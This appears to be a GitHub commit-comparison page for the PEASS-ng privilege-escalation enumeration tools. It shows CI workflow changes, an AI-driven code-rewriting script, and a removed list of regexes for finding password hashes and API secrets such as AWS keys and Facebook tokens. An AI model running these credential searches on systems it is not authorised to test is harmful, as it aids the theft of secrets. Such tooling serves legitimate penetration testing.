Compare commits

...

120 Commits

Author SHA1 Message Date
aicoder
78ad8346a3 File json2pdf.py modified by AICoder 2023-07-02 16:16:22 +00:00
Carlos Polop
a0f612b582 Update aicoder.yml 2023-07-02 18:09:12 +02:00
Carlos Polop
aa59afe289 Update aicoder.yml 2023-07-02 17:53:59 +02:00
Carlos Polop
08144aaac3 Update aicoder.yml 2023-07-02 17:52:25 +02:00
Carlos Polop
8f533247be Update aicoder.yml 2023-07-02 17:51:12 +02:00
Carlos Polop
660dc3dc60 Update aicoder.yml 2023-07-02 17:45:31 +02:00
Carlos Polop
7b8b6670b8 Update aicoder.yml 2023-07-02 17:37:26 +02:00
Carlos Polop
6f48de1573 Update aicoder.yml 2023-07-02 17:14:13 +02:00
Carlos Polop
3cceae682d Update aicoder.yml 2023-07-02 17:08:25 +02:00
Carlos Polop
4a29293199 Update CI-master_tests.yml 2023-07-02 17:07:55 +02:00
Carlos Polop
6d2e33cd61 Update aicoder.yml 2023-07-02 17:05:53 +02:00
Carlos Polop
8dd0350b5c Update aicoder.yml 2023-07-02 17:02:19 +02:00
carlospolop
b4801ccc4d testing actions 2023-07-02 16:19:35 +02:00
Carlos Polop
083ed6ae7d Update aicoder.yml 2023-07-02 16:18:05 +02:00
Carlos Polop
ad2150ded5 Update aicoder.yml 2023-07-02 16:04:36 +02:00
Carlos Polop
74377ec9e8 Update aicoder.yml 2023-07-02 16:03:06 +02:00
Carlos Polop
917a3a0101 Update aicoder.yml 2023-07-02 15:56:17 +02:00
carlospolop
099755dbcb actions 2023-07-02 15:45:35 +02:00
Carlos Polop
b9a44ffe66 Merge pull request #365 from sttlr/patch-1
Fix Timeout parameter in Peass Metasploit module
2023-06-29 12:54:44 +02:00
Carlos Polop
cdd342fb26 Merge pull request #363 from camercu/master
fix su brute check.
2023-06-29 12:53:47 +02:00
Max Symonenko
36523f520f Fix Timeout parameter in Peass Metasploit module
time_out argument of cmd_exec function must be integer

When user sets its own timeout, module execution stops, because there is no conversion of string to int.
2023-06-24 10:15:40 +03:00
camercu
7f4965c0b7 fix su brute check.
Added Usage help message to indicate '-a' invokes all checks.
Removed 'sudo' exists check, replaced with appropriate 'su' check.
2023-06-11 10:45:51 -05:00
carlospolop
898b29b0fa f 2023-06-01 00:16:51 +02:00
carlospolop
e36d5a5736 winpeas.ps1 2023-05-29 16:52:21 +02:00
Carlos Polop
11cfe79ad0 Rename WinPeas.ps1 to winPEAS.ps1 2023-05-29 16:51:23 +02:00
carlospolop
a1552d61df banner 2023-05-29 16:44:38 +02:00
carlospolop
71ec9c7d31 ps1 2023-05-29 16:43:04 +02:00
carlospolop
d4ff43b604 readme 2023-05-29 16:41:54 +02:00
Carlos Polop
56a193df60 Merge pull request #361 from RandolphConley/master
winPEASps1 initial commit
2023-05-29 16:22:26 +02:00
StevenLtheThird
f67bedda4f Update winPeas.ps1
Added padding and Time Stamps in more locations.
2023-05-26 16:07:47 -04:00
StevenLtheThird
f988d8b05f winPEAS initial upload
PS1 version of winPEAS
Powershell V2 support coming soon!
2023-05-26 11:04:49 -04:00
carlospolop
78c932f1af improve 2023-05-25 14:27:17 +02:00
Carlos Polop
7e7738ab98 Merge pull request #360 from fredtep/wes-ng
Wes ng
2023-05-25 00:31:17 +02:00
Carlos Polop
68cd1c28df Merge pull request #358 from Schrubitteflau/master
LinPEAS - Exploit Suggester red color not applied in a specific case
2023-05-25 00:29:53 +02:00
Fr3sh
58719a6075 removing unecessary build number 2023-05-23 15:38:02 +02:00
Fr3sh
2a4868c0eb add systeminfo output for wes-ng 2023-05-23 15:14:45 +02:00
Antoine SANSON
e4b9ae6479 Fix LES regex 2023-05-15 14:31:13 +02:00
Carlos Polop
7b096cd930 Update linpeas_base.sh 2023-05-10 16:03:11 +02:00
Carlos Polop
a9ae25cdc3 Update 3_cloud.sh 2023-05-10 16:02:43 +02:00
Carlos Polop
e7617700b3 Update sensitive_files.yaml 2023-05-10 13:36:12 +02:00
Carlos Polop
96c821193e Update CI-master_tests.yml 2023-05-08 17:42:22 +02:00
Carlos Polop
7bb66d2182 Delete SearchHelperTests.cs 2023-05-08 17:20:30 +02:00
Carlos Polop
711d9f1a95 Merge pull request #356 from wonda-tea-coffee/replace-00a0
Fix command not found error
2023-05-08 16:06:10 +02:00
wonda-tea-coffee
a36c2c9107 fix command not found error
The following error occurred when evaluating the expression because the space that should have been a space was U+0a00.

```
./linpeas.sh: 3672: ./linpeas.sh:  [: not found
```
2023-05-08 19:22:22 +09:00
Carlos Polop
2963e47866 Merge pull request #355 from wonda-tea-coffee/fix-link
fix hacktricks link
2023-04-27 19:18:09 +02:00
wonda-tea-coffee
d20699ed51 fix hacktricks link 2023-04-28 00:13:16 +09:00
Carlos Polop
df4f122a53 Merge pull request #350 from Donovoi/master
fix path too long
2023-04-25 17:05:49 +02:00
Carlos Polop
7f8ea5fa44 Merge pull request #354 from bighound/master
Update Putty.cs
2023-04-25 17:04:44 +02:00
Carlos Polop
7e9c9b4e5b Merge pull request #353 from wangwillian0/master
Fix script download for the Metasploit module
2023-04-25 16:19:03 +02:00
Bighound
fad2771dfb Update Putty.cs
Updated Putty's stored session enumeration functionality, now also showing the \\Software\\SimonTatham\\PuTTY\\Sessions registry keys itself
2023-04-25 12:44:20 +02:00
Willian Wang
3e213bd8fd Handle 302 redirects of GitHub release URLs 2023-04-22 14:16:46 -03:00
Carlos Polop
5356d3f2ec Update sensitive_files.yaml 2023-04-19 04:59:49 +02:00
Carlos Polop
2ac2debc59 Update sensitive_files.yaml 2023-04-19 04:00:20 +02:00
Carlos Polop
bb47a172b3 Update sensitive_files.yaml 2023-04-18 05:50:32 +02:00
Carlos Polop
69c3906ab7 Update sensitive_files.yaml 2023-04-17 06:45:14 +02:00
Michael Moran
3bec4c4b52 Merge branch 'carlospolop:master' into master 2023-04-14 19:26:40 +10:00
Carlos Polop
345bf63b40 Update CI-master_tests.yml 2023-04-13 23:58:37 +02:00
Carlos Polop
1e796b9876 Update CI-master_tests.yml 2023-04-13 23:56:59 +02:00
Carlos Polop
39d811c16f Update CI-master_tests.yml 2023-04-13 23:31:22 +02:00
carlospolop
a0175b0172 fix linpeas in winpeas 2023-04-13 23:28:24 +02:00
carlospolop
b0f4868feb add .gitignore 2023-04-13 22:43:10 +02:00
carlospolop
4f295a138d fix 2023-04-13 22:42:35 +02:00
carlospolop
a1e06de8ca fix regex 2023-04-13 22:40:57 +02:00
carlospolop
2775083680 download regexes ps1 2023-04-13 22:20:32 +02:00
carlospolop
62e4b071cd Merge branch 'master' of https://github.com/carlospolop/PEASS-ng 2023-04-13 22:02:56 +02:00
carlospolop
4a0b8fb065 improvements 2023-04-13 22:02:50 +02:00
Carlos Polop
4ba0f6b6c2 Update 1_system_information.sh 2023-04-13 20:30:33 +02:00
Carlos Polop
ff96d02125 Update CI-master_tests.yml 2023-04-13 16:38:23 +02:00
Carlos Polop
4f3a8265e0 Merge pull request #349 from carlospolop/carlospolop-patch-2
Update CI-master_tests.yml
2023-04-13 16:12:19 +02:00
Carlos Polop
8912bd2b9c Update CI-master_tests.yml 2023-04-13 16:12:10 +02:00
carlospolop
438e00527d Merge branch 'master' of https://github.com/carlospolop/PEASS-ng 2023-04-13 16:10:37 +02:00
carlospolop
144c0aef6f push 2023-04-13 16:10:26 +02:00
Carlos Polop
c597da42f7 Merge pull request #348 from carlospolop/carlospolop-patch-1
Update CI-master_tests.yml
2023-04-13 15:47:15 +02:00
carlospolop
613bf14049 container 2023-04-13 15:44:57 +02:00
Carlos Polop
e1fdef50d9 Update CI-master_tests.yml 2023-04-13 15:44:42 +02:00
carlospolop
b1845a1a18 add sensitive files 2023-04-13 15:06:11 +02:00
carlospolop
19a2ed5f5a linpeas improvements 2023-04-13 06:00:26 +02:00
Carlos Polop
1a7183decf Merge pull request #346 from L1-0/patch-1
ColorLine Fix
2023-04-03 15:36:03 +02:00
Lino
8ee66af278 ColorLine Fix
Added a trailing quotation on a ColorLine that could lead to an error.
Spelling on :CurrentClipboard
2023-04-03 13:32:15 +02:00
Carlos Polop
0682cafe08 Update linpeas_base.sh 2023-03-29 17:23:14 +02:00
Carlos Polop
aa1f162359 Merge pull request #341 from ZoeS17/snmp
sensitive_files.yaml(SNMP) add createUser to bad_regex
2023-03-29 17:17:28 +02:00
Carlos Polop
60b2e1d974 Merge pull request #340 from XHNan/patch-1
Fix a bug of finding readable files in sudoers.d
2023-03-29 17:16:34 +02:00
Michael Moran
5b96594c3c speed up file search and fix long path error 2023-03-28 06:25:05 +11:00
Zoe Kahala
eabec47c08 sensitive_files.yaml(SNMP) add createUser to bad_regex
Add `createUser` to `bad_regex` as it likely contains a hardcoded
password.

As an example:
```
createUser bootstrap MD5 SuperSecurePassword123__ DES
```
where `SuperSecurePassword123__` is the password and `bootstrap` is the
username, though I should mention the username maybe misleading here.

Spec/Man-page link:
[freebsd.org - snmpd.conf]

[freebsd.org - snmpd.conf]: https://man.freebsd.org/cgi/man.cgi?query=snmpd.conf#:~:text=your%2D%0A%20%20%20%20%20%20%20self%20instead%3A-,createUser,-%5B%2De%09%20%20%20%20%20%20%20ENGINEID%5D%09%20%20%20%20%20%20username
2023-03-11 11:08:20 -06:00
KeoOp
7b9bf9cf91 Fix a bug of finding readable file in sudoers.d
Fix a bug of finding user readable file in /etc/sudoers.d
```
for filename in /etc/sudoers.d/*; do
    echo $filename  # filename is a array
done
```

```
for filename in '/etc/sudoers.d/*'; do
    echo $filename  # filename is a single long string
done
```
2023-03-08 16:37:32 +08:00
Carlos Polop
ded6f3045f Merge pull request #329 from godylockz/master
Fix Internet Explorer Enumeration
2022-12-31 18:37:08 +01:00
Carlos Polop
d20638fa7b Merge pull request #331 from AlLongley/master
Check "doas.conf" based on binary existence, not configuration files
2022-12-31 18:34:57 +01:00
Al Longley
aa69a494b4 Check "doas.conf" based on binary existence, not config 2022-12-31 18:43:14 +11:00
Carlos Polop
a4b226c16e Update linpeas_base.sh 2022-12-31 00:58:00 +01:00
godylockz
3cc49b5b9a Code Cleanup 2022-12-23 00:45:23 -05:00
godylockz
e5b9b67786 Fix IE Bug, Browser Consistency. 2022-12-23 00:45:05 -05:00
Carlos Polop
e29c9e88d5 Update CI-master_tests.yml 2022-12-21 15:32:55 +01:00
Carlos Polop
8b6ce759d0 Merge pull request #323 from ruppde/master
Update 1_system_information.sh
2022-12-20 14:26:25 +01:00
Carlos Polop
116d842158 Merge pull request #326 from Riqky/master
Update README.md to remove python2
2022-12-20 14:25:26 +01:00
Riqky
46033a7af0 Update README.md
Update python webserver to python 3 command, since python 2 is EOL.
2022-12-20 13:46:59 +01:00
Arnim Rupp
0ab4a65bab Update 1_system_information.sh
Fix false positive, Ubuntu fixed it one day earlier:

policykit-1 (0.105-20ubuntu0.18.04.6) bionic-security; urgency=medium

  * SECURITY UPDATE: Local Privilege Escalation in pkexec
    - debian/patches/CVE-2021-4034.patch: properly handle command-line
      arguments in src/programs/pkcheck.c, src/programs/pkexec.c.
    - CVE-2021-4034

 -- Marc Deslauriers <email address hidden>  Wed, 12 Jan 2022 07:34:00 -0500
2022-11-21 15:17:28 +01:00
Carlos Polop
27d954e03a Update FileAnalysis.cs 2022-11-02 18:58:53 +00:00
Carlos Polop
9416b924cb Update FileAnalysis.cs 2022-11-02 18:50:36 +00:00
Carlos Polop
6ec25656f2 Update FileAnalysis.cs 2022-11-02 18:42:29 +00:00
Carlos Polop
3039ce555d Update FileAnalysis.cs 2022-11-02 18:37:11 +00:00
Carlos Polop
d382de1cb1 Merge pull request #319 from motikan2010/fix/small-typo
Fix small typo in /parser/README.md
2022-11-02 18:28:08 +00:00
Carlos Polop
c62a8f8b54 Update App.config 2022-11-02 18:27:42 +00:00
Carlos Polop
a70b9773db Update FileAnalysis.cs 2022-11-02 18:26:18 +00:00
Carlos Polop
7a19b0968f Update README.md 2022-10-12 14:56:18 +02:00
Carlos Polop
ce002b9f33 Update README.md 2022-10-12 14:34:05 +02:00
motikan2010
1afac19979 Fix typo in /parser/README.md 2022-10-09 13:56:29 +09:00
Carlos Polop
219b1669c3 Update Beaprint.cs 2022-10-06 17:46:45 +02:00
carlospolop
1274f21097 debug regex searches 2022-09-30 19:47:38 +02:00
carlospolop
f86e301a1b try fix long path error 2022-09-30 14:50:56 +02:00
Carlos Polop
940b4bc791 Update 2_container.sh 2022-09-30 13:48:06 +02:00
Carlos Polop
b2e1a4e64a Merge pull request #314 from lu-ka/master
added CVE-2022-2588; reduced CVE color
2022-09-23 16:40:53 +02:00
lu-ka
cb3e62a3ff added CVE-2022-2588; reduced color to red 2022-09-20 19:26:56 +02:00
Carlos Polop
701d41073a Merge pull request #313 from frkngksl/master
Update McAfee.cs
2022-09-20 00:50:05 +02:00
Furkan Göksel
31e318c870 Update McAfee.cs 2022-09-13 09:37:40 +03:00
Carlos Polop
eb34a006e2 Merge pull request #311 from Neology92/fix/winpeasbat-typo
Fix readme typo
2022-09-09 10:14:37 +02:00
Oskar Legner
3950a1f7bd Fix typo 2022-09-06 23:19:25 +02:00
Carlos Polop
eaac654739 Update linpeas_base.sh 2022-09-01 20:17:07 +02:00
Carlos Polop
7bc53594b0 Update README.md 2022-09-01 20:16:43 +02:00
Carlos Polop
55faa3b5e8 Update README.md 2022-09-01 20:12:39 +02:00
carlospolop
8b444ba674 10k update 2022-09-01 20:08:01 +02:00
180 changed files with 26367 additions and 18973 deletions

View File

@@ -1,4 +1,5 @@
If you are going to suggest something, please remove the following template. If you are going to suggest something, please remove the following template.
If your issue is related with WinPEAS.ps1 please mention https://github.com/RandolphConley
#### Issue description #### Issue description

View File

@@ -1,9 +1,11 @@
name: CI-master_test name: CI-master_test
on: on:
pull_request: push:
branches: branches:
- master - master
paths-ignore:
- '.github/**'
schedule: schedule:
- cron: "5 4 * * SUN" - cron: "5 4 * * SUN"
@@ -27,6 +29,10 @@ jobs:
with: with:
ref: ${{ github.head_ref }} ref: ${{ github.head_ref }}
- name: Download regexes
run: |
powershell.exe -ExecutionPolicy Bypass -File build_lists/download_regexes.ps1
# Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild # Add MSBuild to the PATH: https://github.com/microsoft/setup-msbuild
- name: Setup MSBuild.exe - name: Setup MSBuild.exe
uses: microsoft/setup-msbuild@v1.0.2 uses: microsoft/setup-msbuild@v1.0.2
@@ -43,9 +49,9 @@ jobs:
- name: run MSBuild - name: run MSBuild
run: msbuild $env:Solution_Path run: msbuild $env:Solution_Path
# Execute all unit tests in the solution # Execute all unit tests in the solution - It's broken :(
- name: Execute unit tests #- name: Execute unit tests
run: dotnet test $env:Solution_Path # run: dotnet test $env:Solution_Path
# Build & update all versions # Build & update all versions
- name: Build all versions - name: Build all versions
@@ -134,6 +140,12 @@ jobs:
name: winPEAS.bat name: winPEAS.bat
path: winPEAS\winPEASbat\winPEAS.bat path: winPEAS\winPEASbat\winPEAS.bat
- name: Upload winpeas.ps1
uses: actions/upload-artifact@v2
with:
name: winPEAS.ps1
path: winPEAS\winPEASps1\winPEAS.ps1
# Git add # Git add
#- name: Create local changes #- name: Create local changes
# run: | # run: |
@@ -198,8 +210,36 @@ jobs:
run: linPEAS/linpeas.sh -h run: linPEAS/linpeas.sh -h
# Run linpeas as a test # Run linpeas as a test
- name: Run linpeas - name: Run linpeas system_information
run: linPEAS/linpeas.sh -a -D run: linPEAS/linpeas.sh -o system_information -a
- name: Run linpeas container
run: linPEAS/linpeas.sh -o container -a
- name: Run linpeas cloud
run: linPEAS/linpeas.sh -o cloud -a
- name: Run linpeas procs_crons_timers_srvcs_sockets
run: linPEAS/linpeas.sh -o procs_crons_timers_srvcs_sockets -a
- name: Run linpeas network_information
run: linPEAS/linpeas.sh -o network_information -t -a
- name: Run linpeas users_information
run: linPEAS/linpeas.sh -o users_information -a
- name: Run linpeas software_information
run: linPEAS/linpeas.sh -o software_information -a
- name: Run linpeas interesting_perms_files
run: linPEAS/linpeas.sh -o interesting_perms_files -a
- name: Run linpeas interesting_files
run: linPEAS/linpeas.sh -o interesting_files -a
# Too much time
#- name: Run linpeas api_keys_regex
# run: linPEAS/linpeas.sh -o api_keys_regex -r
# Upload files for release # Upload files for release
- name: Upload linpeas.sh - name: Upload linpeas.sh
@@ -208,6 +248,12 @@ jobs:
name: linpeas.sh name: linpeas.sh
path: linPEAS/linpeas.sh path: linPEAS/linpeas.sh
- name: Upload linpeas_fat.sh
uses: actions/upload-artifact@v2
with:
name: linpeas_fat.sh
path: linPEAS/linpeas_fat.sh
## Linux bins ## Linux bins
- name: Upload linpeas_linux_386 - name: Upload linpeas_linux_386
uses: actions/upload-artifact@v2 uses: actions/upload-artifact@v2
@@ -335,6 +381,11 @@ jobs:
with: with:
name: linpeas.sh name: linpeas.sh
- name: Download linpeas_fat.sh
uses: actions/download-artifact@v2
with:
name: linpeas_fat.sh
- name: Download linpeas_linux_386 - name: Download linpeas_linux_386
uses: actions/download-artifact@v2 uses: actions/download-artifact@v2
with: with:
@@ -369,6 +420,10 @@ jobs:
id: date id: date
run: echo "::set-output name=date::$(date +'%Y%m%d')" run: echo "::set-output name=date::$(date +'%Y%m%d')"
- name: Generate random
id: random_n
run: echo "::set-output name=some_rand::$(openssl rand -hex 4)"
# Create the release # Create the release
- name: Create Release - name: Create Release
id: create_release id: create_release
@@ -376,8 +431,8 @@ jobs:
env: env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with: with:
tag_name: ${{steps.date.outputs.date}} tag_name: ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}} release_name: Release ${{ github.ref }} ${{steps.date.outputs.date}}-${{steps.random_n.outputs.some_rand}}
draft: false draft: false
prerelease: false prerelease: false
@@ -388,4 +443,3 @@ jobs:
assets_path: . assets_path: .
env: env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

23
.github/workflows/aicoder.yml vendored Normal file
View File

@@ -0,0 +1,23 @@
name: aicoder
on:
workflow_dispatch:
jobs:
Build_and_test_winpeas_master:
runs-on: ubuntu-latest
steps:
# checkout
- name: AICoder GH Action
uses: AICoderHub/GH_Action@v0.11
with:
INPUT_MODE: 'file-optimizer'
INPUT_PROMPT: ''
INPUT_OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
INPUT_MODEL: 'gpt-4'
TEMPLATE_FILES: ''
ORIGIN_BRANCH: 'aicoder'
TO_BRANCH: 'master'
CHECK_PATH: './parsers/json2pdf.py'
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

2
.gitignore vendored
View File

@@ -28,3 +28,5 @@ sh2bin
sh2bin/* sh2bin/*
.dccache .dccache
./*/.dccache ./*/.dccache
regexes.yaml
build_lists/regexes.yaml

208
AICoder.py Normal file
View File

@@ -0,0 +1,208 @@
import argparse
import os
import sys
import string
import random
from typing import List
import openai
import json
import subprocess
import tiktoken
import requests
from github import Github
#########################
#### OPENAI FUNCTIONS ###
#########################
def reportTokens(prompt, model="gpt-4"):
encoding = tiktoken.encoding_for_model(model)
print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
def write_file(file_path: str, content: str):
"""Write content to a file creating the needed directories first"""
os.makedirs(os.path.dirname(file_path), exist_ok=True)
with open(file_path, "w") as file:
file.write(content)
def delete_file(file_path: str):
"""Delete a file if it exists"""
if os.path.isfile(file_path):
os.remove(file_path)
openai_available_functions = {
"write_file": write_file, "delete_file": delete_file
}
openai_functions = [
{
"name": "write_file",
"description": "Write a file giving the path and the content",
"parameters": {
"type": "object",
"properties": {
"file_path": {
"type": "string",
"description": "Path to the file to write",
},
"content": {
"type": "string",
"description": "Content to write in the file",
},
},
"required": ["file_path", "content"],
},
},
{
"name": "delete_file",
"description": "Delete a file",
"parameters": {
"type": "object",
"properties": {
"file_path": {
"type": "string",
"description": "Path to the file to write",
}
},
"required": ["file_path"],
},
}
]
#########################
#### GIT FUNCTIONS ######
#########################
def create_pull_request(branch_name, commit_message, github_token):
github = Github(github_token)
repo = github.get_repo(os.environ["GITHUB_REPOSITORY"])
# Create a new branch
base_branch = repo.get_branch(repo.default_branch)
repo.create_git_ref(ref=f"refs/heads/{branch_name}", sha=base_branch.commit.sha)
# Commit changes to the new branch
subprocess.run(["git", "checkout", branch_name])
subprocess.run(["git", "add", "."])
subprocess.run(["git", "commit", "-m", commit_message])
subprocess.run(["git", "push", "origin", branch_name])
# Create a pull request
pr = repo.create_pull(
title=commit_message,
body="Generated by OpenAI Github Action",
head=branch_name,
base=repo.default_branch
)
return pr.html_url
#########################
#### FILE PROCESSING ####
#########################
def process_file(prompt: str, api_key: str, file_path: str, model: str="gpt-4") -> str:
with open(file_path, "r") as file:
file_content = file.read()
messages = [
{"role": "system", "content": f"You are a developer and your goal is to generate code. The user will ask you to improve and modify some code. Your response must be a valid JSON with the path of each file to write as keys and the content of the files as values. Several files can be written at the same time."},
{"role": "user", "content": prompt},
{"role": "user", "content": f"This is the code from the file '{file_path}':\n\n{file_content}"}
]
openai.api_key = api_key
reportTokens(f"This is the code from the file '{file_path}':\n\n{file_content}")
response = openai.ChatCompletion.create(
model=model,
messages=messages,
temperature=0
)
response_message = response["choices"][0]["message"]
# Step 2: check if GPT wanted to call a function
if response_message.get("function_call"):
function_name = response_message["function_call"]["name"]
fuction_to_call = openai_available_functions[function_name]
function_args = json.loads(response_message["function_call"]["arguments"])
fuction_to_call(**function_args)
def process_folder(prompt: str, api_key: str, folder_path: str, model: str="gpt-4") -> List[str]:
responses = []
for root, _, files in os.walk(folder_path):
for file in files:
file_path = os.path.join(root, file)
response = process_file(prompt, api_key, file_path, model)
responses.append(response)
#########################
#### MAIN FUNCTION ######
#########################
def get_random_string(length):
# With combination of lower and upper case
letters = string.ascii_letters
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
def main(prompt: str, api_key: str, file_path: str, github_token: str, model: str="gpt-4"):
if os.path.isfile(file_path):
process_file(prompt, api_key, file_path, model)
elif os.path.isdir(file_path):
process_folder(prompt, api_key, file_path, model)
else:
print("Error: Invalid file path.")
sys.exit(1)
try:
create_pull_request(get_random_string(5), f"Modified {file_path}", github_token)
except Exception as e:
print(f"Error: Failed to create pull request. {e}")
sys.exit(1)
if __name__ == "__main__":
# Setup the argument parser
parser = argparse.ArgumentParser()
# Add arguments for prompt, api_key, file_path and github_token
parser.add_argument('--prompt', default=None, type=str, help='Input prompt')
parser.add_argument('--api-key', default=None, type=str, help='Input API key')
parser.add_argument('--path', default=None, type=str, help='Input file/folder path')
parser.add_argument('--github-token', default=None, type=str, help='Github token')
parser.add_argument('--model', default="gpt-4", type=str, help='Model to use')
# Parse the arguments
args = parser.parse_args()
prompt = os.environ.get("INPUT_PROMPT", args.prompt)
api_key = os.environ.get("INPUT_API_KEY", args.api_key)
file_path = os.environ.get("INPUT_FILE_PATH", args.path)
github_token = os.environ.get("GITHUB_TOKEN", args.github_token)
model = os.environ.get("INPUT_MODEL", args.model)
if not prompt or not api_key or not file_path:
print("Error: Missing required inputs.")
sys.exit(1)
#if not github_token:
# print("Error: Missing github token.")
# sys.exit(1)
if os.path.exists(prompt):
with open(prompt, "r") as file:
prompt = file.read()
if prompt.startswith("http"):
prompt = requests.get(prompt).text
main(prompt, api_key, file_path, github_token, model)

View File

@@ -30,7 +30,7 @@ Do you want to have **access the latest version of Hacktricks and PEASS**, obtai
**LinPEAS, WinPEAS and MacPEAS** arent enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!** **LinPEAS, WinPEAS and MacPEAS** arent enough for you? Welcome [**The PEASS Family**](https://opensea.io/collection/the-peass-family/), a limited collection of [**exclusive NFTs**](https://opensea.io/collection/the-peass-family/) of our favourite PEASS in disguise, designed by my team. Go **get your favourite and make it yours!** And if you are a **PEASS & Hacktricks enthusiast**, you can get your hands now on **our [custom swag](https://peass.creator-spring.com/) and show how much you like our projects!**
You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@carlospolopm](https://twitter.com/carlospolopm). You can also, join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) to learn about latest news in cybersecurity and meet other cybersecurity enthusiasts, or follow me on Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live).
## Let's improve PEASS together ## Let's improve PEASS together

View File

@@ -0,0 +1,5 @@
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
$filePath = Join-Path $scriptDir "regexes.yaml"
$url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
Invoke-WebRequest $url -OutFile $filePath

24
build_lists/download_regexes.py Executable file
View File

@@ -0,0 +1,24 @@
#!/usr/bin/env python3
import os
import requests
from pathlib import Path
def download_regexes():
print("[+] Downloading regexes...")
url = "https://raw.githubusercontent.com/JaimePolop/RExpository/main/regex.yaml"
response = requests.get(url)
if response.status_code == 200:
# Save the content of the response to a file
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
target_file = script_folder / 'regexes.yaml'
with open(target_file, "w") as file:
file.write(response.text)
print(f"Downloaded and saved in '{target_file}' successfully!")
else:
print("Error: Unable to download the regexes file.")
exit(1)
download_regexes()

View File

@@ -1,204 +1,2 @@
paths: This is a placeholder.
- $HOMESEARCH To fill this yaml execute one of the scripts download_regexes.py or download_regexes.ps1
- /etc
- /opt
- /tmp
- /private
- /Applications
- /var/www
- /var/log
- /private/var/log
- /usr/local/www/
- $backup_folders_row
regular_expresions:
# Hashes passwords
- name: Hashed Passwords
regexes:
- name: Apr1 MD5
regex: '\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}'
- name: Apache SHA
regex: '\{SHA\}[0-9a-zA-Z/_=]{10,}'
- name: Blowfish
regex: '\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*'
- name: Drupal
regex: '\$S\$[a-zA-Z0-9_/\.]{52}'
- name: Joomlavbulletin
regex: '[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}'
- name: Linux MD5
regex: '\$1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}'
- name: phpbb3
regex: '\$H\$[a-zA-Z0-9_/\.]{31}'
- name: sha512crypt
regex: '\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}'
- name: Wordpress
regex: '\$P\$[a-zA-Z0-9_/\.]{31}'
# Raw Hashes
- name: Raw Hashes
regexes:
#- name: md5 #Too many false positives
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{32}([^a-zA-Z0-9]|$)'
#- name: sha1 #Too many false positives
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{40}([^a-zA-Z0-9]|$)'
#- name: sha256 #Too many false positives
# regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{64}([^a-zA-Z0-9]|$)'
- name: sha512
regex: '(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)'
# APIs
# https://github.com/l4yton/RegHex/blob/master/README.md
- name: APIs
regexes:
#- name: Artifactory API Token # False +
# regex: 'AKC[a-zA-Z0-9]{10,}' # False +
#- name: Artifactory Password
# regex: 'AP[\dABCDEF][a-zA-Z0-9]{8,}'
#- name: Authorization Basic # Too many false positives
# regex: 'basic [a-zA-Z0-9_:\.=\-]+'
#- name: Authorization Bearer # Too many false positives
# regex: 'bearer [a-zA-Z0-9_\.=\-]+'
- name: AWS Client ID
regex: '(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'
extra_grep: '-Ev ":#|:<\!\-\-"'
- name: AWS MWS Key
regex: 'amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'
- name: AWS Secret Key
regex: aws(.{0,20})?['"][0-9a-zA-Z\/+]{40}['"]
#- name: Base32 #Too many false positives
# regex: '(?:[A-Z2-7]{8})*(?:[A-Z2-7]{2}={6}|[A-Z2-7]{4}={4}|[A-Z2-7]{5}={3}|[A-Z2-7]{7}=)?'
#- name: Base64 #Too many false positives
# regex: '(eyJ|YTo|Tzo|PD[89]|aHR0cHM6L|aHR0cDo|rO0)[a-zA-Z0-9+/]+={0,2}'
- name: Basic Auth Credentials
regex: '://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+'
- name: Cloudinary Basic Auth
regex: 'cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+'
- name: Facebook Access Token
regex: 'EAACEdEose0cBA[0-9A-Za-z]+'
- name: Facebook Client ID
regex: ([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['"][0-9]{13,17}
- name: Facebook Oauth
regex: >
[fF][aA][cC][eE][bB][oO][oO][kK].*['|"][0-9a-f]{32}['|"]
- name: Facebook Secret Key
regex: >
([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['"][0-9a-f]{32}
- name: Github
regex: >
